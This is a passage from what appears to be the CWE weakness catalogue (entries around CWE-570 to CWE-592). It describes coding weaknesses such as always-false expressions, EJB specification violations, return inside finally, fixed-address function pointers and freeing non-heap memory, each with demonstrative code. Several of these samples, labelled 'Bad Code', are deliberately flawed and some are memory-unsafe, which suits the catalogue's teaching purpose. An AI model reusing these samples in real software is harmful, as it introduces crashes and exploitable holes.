  if (userMask & mask) {
    return 1;
  }
  // otherwise return 0 (false)
  return 0;
}
```

However the bit operator used to initialize the mask variable is the AND operator rather than the intended OR operator (CWE-480), this resulted in the variable mask being set to 0. As a result, the if statement will always evaluate to false and never get executed.

The use of bit masks, bit operators and bitwise operations on variables can be difficult. If possible, try to use frameworks or libraries that provide appropriate functionality and abstract the implementation.

Example 3:

In the following example, the updateInventory method used within an e-business inventory application will update the inventory for a particular product. This method includes an if statement with an expression that will always evaluate to false. This is a common practice in C/C++ to introduce debugging statements quickly by simply changing the expression to evaluate to true and then removing those debugging statements by changing expression to evaluate to false. This is also a common practice for disabling features no longer needed.

Bad Code

```
int updateInventory(char* productNumber, int numberOfItems) {
  int initCount = getProductCount(productNumber);
  int updatedCount = initCount + numberOfItems;
  int updated = updateProductCount(updatedCount);
  // if statement for debugging purposes only
  if (1 == 0) {
    char productName[128];
    productName = getProductName(productNumber);
    printf("product %s initially has %d items in inventory \n", productName, initCount);
    printf("adding %d items to inventory for %s \n", numberOfItems, productName);
    if (updated == 0) {
      printf("Inventory updated for product %s to %d items \n", productName, updatedCount);
    }
    else {
      printf("Inventory not updated for product: %s \n", productName);
    }
  }
  return updated;
}
```

Using this practice for introducing debugging statements or disabling features creates dead code that can cause problems during code maintenance and potentially introduce vulnerabilities. To avoid using expressions that evaluate to false for debugging purposes a logging API or debugging API should be used for the output of debugging messages.

Potential Mitigations

Testing

Use Static Analysis tools to spot such conditions.

CWE-571: Expression is Always True

Weakness ID: 571 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains an expression that will always evaluate to true.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other
Quality degradation
Varies by context

Demonstrative Examples

In the following Java example the updateInventory() method used within an e-business product ordering/inventory application will check if the input product number is in the store or in the warehouse. If the product is found, the method will update the store or warehouse database as well as the aggregate product database. If the product is not found, the method intends to do some special processing without updating any database.

Java Example: *Bad Code*

```
public void updateInventory(String productNumber) {
  boolean isProductAvailable = false;
  boolean isDelayed = false;
  if (productInStore(productNumber)) {
    isProductAvailable = true;
    updateInStoreDatabase(productNumber);
  }
  else if (productInWarehouse(productNumber)) {
    isProductAvailable = true;
    updateInWarehouseDatabase(productNumber);
  }
  else {
    isProductAvailable = true;
  }
  if ( isProductAvailable ) {
    updateProductDatabase(productNumber);
  }
  else if ( isDelayed ) {
    /* Warn customer about delay before order processing */
    ...
  }
}
```

However, the method never sets the isDelayed variable and instead will always update the isProductAvailable variable to true. The result is that the predicate testing the isProductAvailable boolean will always evaluate to true and therefore always update the product database. Further, since the isDelayed variable is initialized to false and never changed, the expression always evaluates to false and the customer will never be warned of a delay on their product.

Potential Mitigations

Testing

Use Static Analysis tools to spot such conditions.

CWE-572: Call to Thread run() instead of start()

Weakness ID: 572 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program calls a thread's run() method instead of calling start(), which causes the code to run in the thread of the caller instead of the callee.

Extended Description

In most cases a direct call to a Thread object's run() method is a bug. The programmer intended to begin a new thread of control, but accidentally called run() instead of start(), so the run() method will execute in the caller's thread of control.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other
Quality degradation
Varies by context

Demonstrative Examples

The following excerpt from a Java program mistakenly calls run() instead of start().

Java Example: *Bad Code*

```
Thread thr = new Thread() {
  public void run() {
    ...
  }
};
thr.run();
```

Potential Mitigations

Implementation

Use the start() method instead of the run() method.

CWE-573: Improper Following of Specification by Caller

Weakness ID: 573 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not follow or incorrectly follows the specifications as required by the implementation language, environment, framework, protocol, or platform.

Extended Description

When leveraging external functionality, such as an API, it is important that the caller does so in accordance with the requirements of the external functionality or else unintended behaviors may result, possibly leaving the system vulnerable to any number of exploits.

CWE-574: EJB Bad Practices: Use of Synchronization Primitives

Weakness ID: 574 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using thread synchronization primitives.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use thread synchronization primitives to synchronize execution of multiple instances." The specification justifies this requirement in the following way: "This rule is required to ensure consistent runtime semantics because while some EJB containers may use a single JVM to execute all enterprise bean's instances, others may distribute the instances across multiple JVMs."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other
Quality degradation

Demonstrative Examples

In the following Java example a Customer Entity EJB provides access to customer information in a database for a business application.

Java Example: *Bad Code*

```
@Entity
public class Customer implements Serializable {
  private String id;
  private String firstName;
  private String lastName;
  private Address address;
  public Customer() {...}
  public Customer(String id, String firstName, String lastName) {...}
  @Id
  public String getCustomerId() {...}
  public synchronized void setCustomerId(String id) {...}
  public String getFirstName() {...}
  public synchronized void setFirstName(String firstName) {...}
  public String getLastName() {...}
```

```
  public synchronized void setLastName(String lastName) {...}
  @OneToOne()
  public Address getAddress() {...}
  public synchronized void setAddress(Address address) {...}
}
```

However, the customer entity EJB uses the synchronized keyword for the set methods to attempt to provide thread safe synchronization for the member variables. The use of synchronized methods violate the restriction of the EJB specification against the use synchronization primitives within EJBs. Using synchronization primitives may cause inconsistent behavior of the EJB when used within different EJB containers.

Potential Mitigations

Implementation

Do not use Synchronization Primitives when writing EJBs.

CWE-575: EJB Bad Practices: Use of AWT Swing

Weakness ID: 575 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using AWT/Swing.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the AWT functionality to attempt to output information to a display, or to input information from a keyboard." The specification justifies this requirement in the following way: "Most servers do not allow direct interaction between an application program and a keyboard/display attached to the server system."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Java Example: *Bad Code*

```
@Stateless
```

```
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
  /* member variables for receiving keyboard input using AWT API */
  ...
  private StringBuffer enteredText = new StringBuffer();
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
    super();
    /* method calls for setting up AWT Component for receiving keyboard input */
    ...
    addKeyListener(this);
  }
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
  /* member functions for implementing AWT KeyListener interface */
  public void keyTyped(KeyEvent event) {
    ...
  }
  public void keyPressed(KeyEvent e) {
  }
  public void keyReleased(KeyEvent e) {
  }
  /* member functions for receiving keyboard input and displaying output */
  public void paint(Graphics g) {...}
  ...
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Java Example: *Good Code*

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
  /* conversion rate on US dollars to Yen */
  private BigDecimal yenRate = new BigDecimal("115.3100");
  public ConverterSessionBean() {
  }
  /* remote method to convert US dollars to Yen */
  public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
  }
}
```

JSP Example: *Good Code*

```
<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
  private Converter converter = null;
  public void jspInit() {
    try {
      InitialContext ic = new InitialContext();
      converter = (Converter) ic.lookup(Converter.class.getName());
    } catch (Exception ex) {
      System.out.println("Couldn't create converter bean."+ ex.getMessage());
    }
  }
  public void jspDestroy() {
    converter = null;
  }
%>
<html>
```

```
  <head><title>Converter</title></head>
  <body bgcolor="white">
    <h1>Converter</h1>
    <hr>
    <p>Enter an amount to convert:</p>
    <form method="get">
      <input type="text" name="amount" size="25"><br>
      <p>
      <input type="submit" value="Submit">
      <input type="reset" value="Reset">
    </form>
    <%
      String amount = request.getParameter("amount");
      if ( amount != null && amount.length() > 0 ) {
        BigDecimal d = new BigDecimal(amount);
        BigDecimal yenAmount = converter.dollarToYen(d);
    %>
    <p>
    <%= amount %> dollars are <%= yenAmount %> Yen.
    <p>
    <%
      }
    %>
  </body>
</html>
```

Potential Mitigations

Architecture and Design

Do not use AWT/Swing when writing EJBs.

CWE-576: EJB Bad Practices: Use of Java I/O

Weakness ID: 576 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other
Quality degradation

Demonstrative Examples

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

Java Example: *Bad Code*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
  private Document interestRateXMLDocument = null;
  private File interestRateFile = null;
  public InterestRateBean() {
    try {
      /* get XML document from the local filesystem */
      interestRateFile = new File(Constants.INTEREST_RATE_FILE);
      if (interestRateFile.exists())
      {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        interestRateXMLDocument = db.parse(interestRateFile);
      }
    } catch (IOException ex) {...}
  }
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
  }
  /* member function to retrieve interest rate from XML document on the local file system */
  private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Java Example: *Good Code*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
  public InterestRateBean() {
  }
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXMLParser(points);
  }
  /* member function to retrieve interest rate from XML document using an XML parser API */
  private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
```

Potential Mitigations

Implementation

Do not use Java I/O when writing EJBs.

CWE-577: EJB Bad Practices: Use of Sockets

Weakness ID: 577 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

Java Example: *Bad Code*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
  ServerSocket serverSocket = null;
  Socket clientSocket = null;
  public StockSymbolBean() {
    try {
      serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    try {
      clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
  }
  public String getStockSymbol(String name) {...}
  public BigDecimal getStockValue(String symbol) {...}
  private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

Java Example: *Bad Code*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
  ServerSocket serverSocket = null;
  Socket clientSocket = null;
  boolean listening = false;
  public StockSymbolBean() {
    try {
      serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    listening = true;
```

```
    while(listening) {
      start();
    }
  }
  public String getStockSymbol(String name) {...}
  public BigDecimal getStockValue(String symbol) {...}
  public void run() {
    try {
      clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
    ...
  }
}
```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

Potential Mitigations

Architecture and Design

Implementation

Do not use Sockets when writing EJBs.

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP3	Use of an improper API

CWE-578: EJB Bad Practices: Use of Class Loader

Weakness ID: 578 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Integrity
Availability
Other
Execute unauthorized code or commands
Varies by context

Demonstrative Examples

Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

Java Example: *Bad Code*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
  private Document interestRateXMLDocument = null;
  public InterestRateBean() {
    try {
      // get XML document from the local filesystem as an input stream
      // using the ClassLoader for this class
      ClassLoader loader = this.getClass().getClassLoader();
      InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    interestRateXMLDocument = db.parse(interestRateFile);
  } catch (IOException ex) {...}
}
  public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
  }
  /* member function to retrieve interest rate from XML document on the local file system */
  private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Java Example: *Bad Code*

```
@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
  public LoaderSessionBean() {
    try {
      ClassLoader loader = new CustomClassLoader();
      Class c = loader.loadClass("someClass");
      Object obj = c.newInstance();
      /* perform some task that uses the new class instance member variables or functions */
      ...
    } catch (Exception ex) {...}
  }
  public class CustomClassLoader extends ClassLoader {
  }
}
```

Potential Mitigations

Architecture and Design
Implementation

Do not use the Class Loader when writing EJBs.

CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID: 579 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Quality degradation

Demonstrative Examples

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

Java Example: *Bad Code*

```
public class DataGlob {
  String globName;
  String globValue;
  public void addToSession(HttpSession session) {
    session.setAttribute("glob", this);
  }
}
```

Potential Mitigations

Implementation

In order for session replication to work, the values the application stores as attributes in the session must implement the Serializable interface.

CWE-580: clone() Method Without super.clone()

Weakness ID: 580 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains a clone() method that does not call super.clone() to obtain the new object.

Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Other
Unexpected state
Quality degradation

Demonstrative Examples

The following two classes demonstrate a bug introduced by not calling super.clone(). Because of the way Kibitzer implements clone(), FancyKibitzer's clone method will return an object of type Kibitzer instead of FancyKibitzer.

Java Example: *Bad Code*

```
public class Kibitzer {
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = new Kibitzer();
    ...
  }
}
public class FancyKibitzer extends Kibitzer{
  public Object clone() throws CloneNotSupportedException {
    Object returnMe = super.clone();
    ...
  }
}
```

Potential Mitigations

Implementation

Call super.clone() within your clone() method, when obtaining a new object.

Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

Relationships

CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

Weakness ID: 581 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not maintain equal hashcodes for equal objects.

Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if a.equals(b) == true then a.hashCode() == b.hashCode().

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Other
Other

If this invariant is not upheld, it is likely to cause trouble if objects of this class are stored in a collection. If the objects of the class in question are used as a key in a Hashtable or if they are inserted into a Map or Set, it is critical that equal objects have equal hashcodes.

Potential Mitigations

Implementation

Both Equals() and Hashcode() should be defined.

CWE-582: Array Declared Public, Final, and Static

Weakness ID: 582 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Modify application data

Demonstrative Examples

The following Java Applet code mistakenly declares an array public, final and static.

Java Example: *Bad Code*

```
public final class urlTool extends Applet {
  public final static URL[] urls;
  ...
}
```

Potential Mitigations

Implementation

In most situations the array should be made private.

Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Weakness Ordinalities

CWE-583: finalize() Method Declared Public

Weakness ID: 583 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The program violates secure coding principles for mobile code by declaring a finalize() method public.

Extended Description

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke one of your finalize() methods because it is declared with public access.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality
Integrity
Availability
Alter execution logic
Execute unauthorized code or commands
Modify application data

Demonstrative Examples

The following Java Applet code mistakenly declares a public finalize() method.

Java Example: *Bad Code*

```
public final class urlTool extends Applet {
  public void finalize() {
    ...
  }
  ...
}
```

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

Potential Mitigations

Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

Relationships

Nature	Type	ID	Name	V	Page

CWE-584: Return Inside Finally Block

Weakness ID: 584 *(Weakness Base)* **Status:** Draft

Description

Summary

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

Time of Introduction

- Implementation

Common Consequences

Other
Alter execution logic

Demonstrative Examples

In the following code excerpt, the IllegalArgumentException will never be delivered to the caller. The finally block will cause the exception to be discarded.

Java Example: *Bad Code*

```
try {
  ...
  throw IllegalArgumentException();
}
finally {
  return r;
}
```

Potential Mitigations

Implementation

Do not use a return statement inside the finally block. The finally block should have "cleanup" code.

Relationships

Nature	Type	ID	Name	V	Page

Software Fault Patterns	SFP6	Incorrect Exception Behavior

CWE-585: Empty Synchronized Block

Weakness ID: 585 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software contains an empty synchronized block.

Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Other

Other

An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.

Demonstrative Examples

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Java Example: *Bad Code*

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Good Code

```
public void setID(int ID){
  synchronized(this){
    this.ID = ID;
  }
}
```

Potential Mitigations

Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

CWE-586: Explicit Call to Finalize()

Weakness ID: 586 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software makes an explicit call to the finalize() method from outside the finalizer.

Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Common Consequences

Integrity
Other
Unexpected state
Quality degradation

Demonstrative Examples

The following code fragment calls finalize() explicitly:

Java Example: *Bad Code*

```
// time to clean up
widget.finalize();
```

Potential Mitigations

Implementation

Testing

Do not make explicit calls to finalize(). Use static analysis tools to spot such instances.

CWE-587: Assignment of a Fixed Address to a Pointer

Weakness ID: 587 *(Weakness Base)* **Status:** Draft

Description

Summary

The software sets a pointer to a specific address other than NULL or 0.

Extended Description

Using a fixed address is not portable because that address will probably not be valid in all environments or platforms.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++
- C#
- Assembly

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

If one executes code at a known location, an attacker might be able to inject code there beforehand.

Availability

DoS: crash / exit / restart

If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.

Confidentiality
Integrity
Read memory
Modify memory

The data at a known pointer location can be easily read or influenced by an attacker.

Demonstrative Examples

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

C Example: *Bad Code*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

Potential Mitigations

Implementation

Never set a pointer to a fixed address.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

White Box Definitions

A weakness where code path has:

1. end statement that assigns an address to a pointer
2. start statement that defines the address and the address is a literal value

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID: 588 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Integrity
Modify memory

Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.

Availability
DoS: crash / exit / restart

Execution may end due to a memory access error.

Demonstrative Examples

C Example: *Bad Code*

```
struct foo
{
  int i;
}
...
int main(int argc, char **argv)
{
  *foo = (struct foo *)main;
  foo->i = 2;
  return foo->i;
}
```

Potential Mitigations

Requirements

The choice could be made to use a language that is not susceptible to these issues.

Implementation

Review of type casting operations can identify locations where incompatible types are cast.

CWE-589: Call to Non-ubiquitous API

Weakness ID: 589 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Other
Quality degradation

Potential Mitigations

Implementation

Always test your code on any platform on which it is targeted to run on.

Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

Testing

Develop a system to test for API functions that are not portable.

CWE-590: Free of Memory not on the Heap

Weakness ID: 590 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Time of Introduction

- Implementation

Common Consequences

Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify memory

There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive.

If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.

Demonstrative Examples

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

C Example: *Bad Code*

```
void foo(){
  record_t bar[MAX_SIZE];
  /* do something interesting with bar */
  ...
  free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

C Example: *Bad Code*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Good Code

```
void foo(){
  record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Good Code

```
record_t *bar; //Global var
void foo(){
  bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Potential Mitigations

Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Maintenance Notes

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID: 591 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Time of Introduction

- Implementation

Common Consequences

Confidentiality
Read application data
Read memory

Sensitive data that is written to a swap file may be exposed.

Potential Mitigations

Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Implementation

Check return values to ensure locking operations are successful.

CWE-592: DEPRECATED: Authentication Bypass Issues

Weakness ID: 592 *(Deprecated Weakness Class)* **Status:** Deprecated

Description

Summary

